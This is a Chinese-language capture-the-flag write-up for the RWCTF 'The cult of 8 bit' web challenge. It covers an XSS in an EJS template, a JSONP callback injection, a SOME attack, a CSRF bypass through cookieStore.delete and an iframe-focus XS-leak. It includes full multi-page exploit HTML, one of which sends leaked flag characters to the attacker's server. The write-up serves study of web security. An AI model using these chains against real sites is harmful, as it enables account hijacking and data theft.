RWCTF The cult of 8 bit 复现
非常精彩的前端题。
前期思考
题目模拟了一个博客网站,用户可以添加post和todo
XSS BOT可以访问任意URL。
flag在admin发的一篇post里,也就是说其id会在home页面会显示。
所以应该通过题目自带的一些XSS点,在home页面XSS把数据带出。
Home页面1click XSS
home页面的todo list是用ejs渲染的,如果todo是url的话会渲染为a标签。
后端逻辑
let isURL = false;
try {
new URL(text); // errors if not valid URL
isURL = !text.toLowerCase().trim().startsWith("javascript:"); // no
} catch {}
home.ejs
<%_ user.todos.forEach(todo => { _%>
<%_ if (todo.isURL) { _%>
<li class="has-text-left"><a target="_blank" href=<%= todo.text %>><%= todo.text %></a></li>
<%_ } else { _%>
<li class="has-text-left"><%= todo.text %></li>
<%_ } _%>
<%_ }); _%>
存在很明显的拼接,构造如下todo就能1click XSS
http://127.0.0.1:12345? onclick=alert()
POST页面反射型XSS
POST页面存在一个JSONP机制。
前端:
const POST_SERVER = "";
const $ = document.querySelector.bind(document); // imagine using jQuery...
function load_post(post) {
if (!post.success) {
$("#post-name").innerText = "Error";
$("#post-body").innerText = post.error;
return;
}
$("#post-name").innerText = post.name;
$("#post-body").innerText = post.body;
}
window.onload = function() {
const id = new URLSearchParams(window.location.search).get('id');
if (!id) {
return;
}
// Load post from POST_SERVER
// Since POST_SERVER might be a different origin, this also supports loading data through JSONP
const request = new XMLHttpRequest();
try {
request.open('GET', POST_SERVER + `/api/post/` + encodeURIComponent(id), false);
request.send(null);
}
catch (err) { // POST_SERVER is on another origin, so let's use JSONP
let script = document.createElement("script");
script.src = `${POST_SERVER}/api/post/${id}?callback=load_post`;
document.head.appendChild(script);
return;
}
load_post(JSON.parse(request.responseText));
}
后端
router.get("/post/:id", (req, res) => {
let { id } = req.params;
if (!id || typeof id !== "string") {
return res.jsonp({
success: false,
error: "Missing id"
});
}
if (!db.posts.has(id)) {
return res.jsonp({
success: false,
error: "No post found with that id"
});
}
let post = db.posts.get(id);
return res.jsonp({
success: true,
name: post.name,
body: post.body
});
});
由于JSONP的机制,后端会取出callback参数,拼接出js代码返回给前端。效果如下
当URL为
http://127.0.0.1:12345/post/?id=bfe43284-77fe-4256-8295-f5915b35fcd5? callback=alert%23%00
的时候,由于URL包含%00
会进入catch,然后%23
为#
,后面的callback会被当作anchor解析,这样就可以控制任意callback了。注意这里参数是不可控的。
SOME ATTACK
这里要介绍本题用到的重要方法--SOME ATTACK。
https://www.someattack.com/Playground/About
简单来说,如果页面a和页面b同源,b存在xss,受害者访问恶意的c网站,那么就能在a页面xss。
Solution1: cookieStore.delete
Home页面的click可以通过POST页面设置callback为opener.document.links[4].click
完成点击。所以需要让BOT登录我们自己的账号,这个账号包含一个XSS todo。但是这就涉及到题目设置的csrf
机制。审计代码可以发现登录登出等操作需要会根据比较cookie的_csrf
和请求参数_csrf
比较。当cookie里_csrf
为空的时候请求参数_csrf
为空的话就可以绕过这个机制。
cookieStore.delete
函数刚好可以在POST页面做到这一点。其正好有一个参数name
name
A string with the name of a cookie.
而name就是可控的用户名。
该解法大致步骤如下:
- BOT访问可控的a.html
- a.html控制跳转到admin home,然后打开新窗口b.html
- b.html需要做的事情:
3.1 cookieStore.delete删除_csrf
3.2 logout
3.3 cookieStore.delete删除_csrf
3.4 用form来登录事先准备好的用户evil
3.5 打开evil home,然后打开新窗口c.html
- c.html通过
opener.document.links[N].click
完成SOME ATTACK,在evil home点击XSS a tag - XSS a tag用opener往前找,把
admin home
的数据外带
以下是Sndav神的EXP
a.html
<script>
const sleep = d => new Promise(r => setTimeout(r, d));
const main = async () => {
open("b.html")
location.replace("http://127.0.0.1:12345");
}
main();
</script>
b.html
<script>
const sleep = d => new Promise(r => setTimeout(r, d));
const main = async () => {
PAYLOAD = `cookieStore.delete`;
t = open(`http://127.0.0.1:12345/post/?id=bfe43284-77fe-4256-8295-f5915b35fcd5?
callback=${PAYLOAD}%23%00`);
await sleep(1000);
t.close();
t = open("http://127.0.0.1:12345/api/logout");
await sleep(1000);
t.close()
PAYLOAD = `cookieStore.delete`;
t = open(`http://127.0.0.1:12345/post/?id=bfe43284-77fe-4256-8295-f5915b35fcd5?
callback=${PAYLOAD}%23%00`);
await sleep(1000);
t.close();
t = open("login.html")
await sleep(1000);
t.close();
open("c.html")
}
main();
</script>
login.html
<body>
<form action="http://127.0.0.1:12345/api/login" method="POST">
<input class="input" type="text" placeholder="Username" name="user"
value="sndav2"/>
<input class="input" type="password" placeholder="Password" name="pass"
value="12345678"/>
<input type="submit" value="Login"/>
</form>
</body>
<script>
document.forms[0].submit();
</script>
c.html
<script>
PAYLOAD = `opener.document.links[4].click`;
t = open(`http://127.0.0.1:12345/post/?id=bfe43284-77fe-4256-8295-f5915b35fcd5?
callback=${PAYLOAD}%23%00`);
location.replace("http://127.0.0.1:12345");
</script>
Solution2: focus + XSleaks
另一种解法是利用了focus这个无参函数给iframe打上标记,iframe的作用是用于XSleaks。
步骤如下:
- BOT访问a.html
- a.html控制跳转到admin home,然后打开新窗口b.html
- b.html设置一些iframe,每个iframe对应一个字典元素,并实时记录iframe的focus情况。然后跳转到c.html
- c.html打开d.html
- d.html利用opener定位到admin home flag href的第i位,并通过c.html触发focus在b.html对应的iframe做标记
以下是sh1yo师傅的EXP:
a.html
<script>
b = open(`/b.html`);
location.replace("http://localhost:12345/");
</script>
b.html
<body>
<a id=focusme href=#>sth</a>
<script>
const sleep = d => new Promise(r => setTimeout(r, d));
alphabet = "0123456789abcdef-"
//create iframes
for (var i = 0; i < alphabet.length; i++) {
iframe = document.createElement("iframe");
iframe.name = alphabet[i];
iframe.src = "http://localhost:12345/";
document.body.appendChild(iframe);
}
//array for found characters
hovered = []
const main = async () => {
// every 0.075 secs check for iframes' onfucus event
setInterval(() => {
p = document.activeElement.name
if (p) {
// if there's focus on an iframe -- add its character to hovered and change the focus
hovered.push(p);
document.getElementById("focusme").focus();
}
}, 75)
await sleep(2000);
c = open(`/c.html`);
await sleep(2000 + 150);
// every 500 secs send found characters to our server endpoint /ret/:characters
setInterval(() => {
fetch(`/ret/${hovered.join("")}`)
}, 500);
}
main();
</script>
</body>
c.html
<script>
b = open(`/d.html`);
location.replace("http://localhost:12345/");
</script>
d.html
<script>
const sleep = d => new Promise(r => setTimeout(r, d));
const main = async () => {
await sleep(1000);
// 32 is the start of the href url that contains id
// 36 is the len of the id
for (var i = 32; i <= 32+36+1; i++) {
// I'm explainig this payload below
PAYLOAD = `opener.opener[opener.opener.opener.document.body.children[1].childNodes[1].children[0].children[0].children[3].children[0].children[0].children[0].href[${i}]].focus`;
// change c.html page's location to the vulnerable page that executes callback
opener.location.replace(`http://localhost:12345/post/?id=24bc9bc5-844c-4f37-8330-f3dbadd2e3a3?callback=${PAYLOAD}%23%00`);
// check the next character every 1.5 secs so that the page have 1.5 sec to load.
await sleep(1500);
}
}
main();
</script>
参考
https://sh1yo.art/ctf/thecultof8bit/
Sndav
https://h4cking2thegate.github.io/2023/01/10/RWCTF2023-the-cult-of-8bit/